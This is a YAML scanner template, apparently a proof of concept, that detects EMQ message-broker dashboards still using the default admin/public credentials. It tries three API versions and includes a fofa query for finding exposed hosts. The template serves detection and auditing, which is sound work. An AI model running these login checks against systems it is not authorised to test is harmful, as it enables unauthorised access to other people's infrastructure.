EMQ-default-password: EMQ Default Password

id: EMQ-default-password

info:
    name: EMQ Default Password
    author: li1u.
    severity: high
    verified: true
    description: |
       EMQ default admin credentials were discovered.
       fofa: icon_hash="-670975485"

rules:
    r3:
        request:
            method: GET
            path: /
        expression: response.body.ibcontains(b'<title>Dashboard</title>')
        stop_if_mismatch: true
    r0:
        request:
            method: POST
            path: /api/v4/auth
            Content-Type: application/json
            body: '{"username":"admin","password":"public"}'
        expression: response.content_type.contains("application/json") && response.body.bcontains(b'"code":0')
        stop_if_match: true
    r1:
        request:
            method: POST
            path: /api/v3/auth
            Content-Type: application/json
            body: '{"username":"admin","password":"public"}'
        expression: response.content_type.contains("application/json") && response.body.bcontains(b'"code":0')
        stop_if_match: true
    r2:
        request:
            method: POST
            path: /api/v2/auth
            Content-Type: application/json
            body: '{"username":"admin","password":"public"}'
        expression: response.content_type.contains("application/json") && response.body.bcontains(b'"code":0') && response.body.bcontains(b'"result":[]')
        stop_if_match: true
expression: r3() && (r0() || r1() || r2())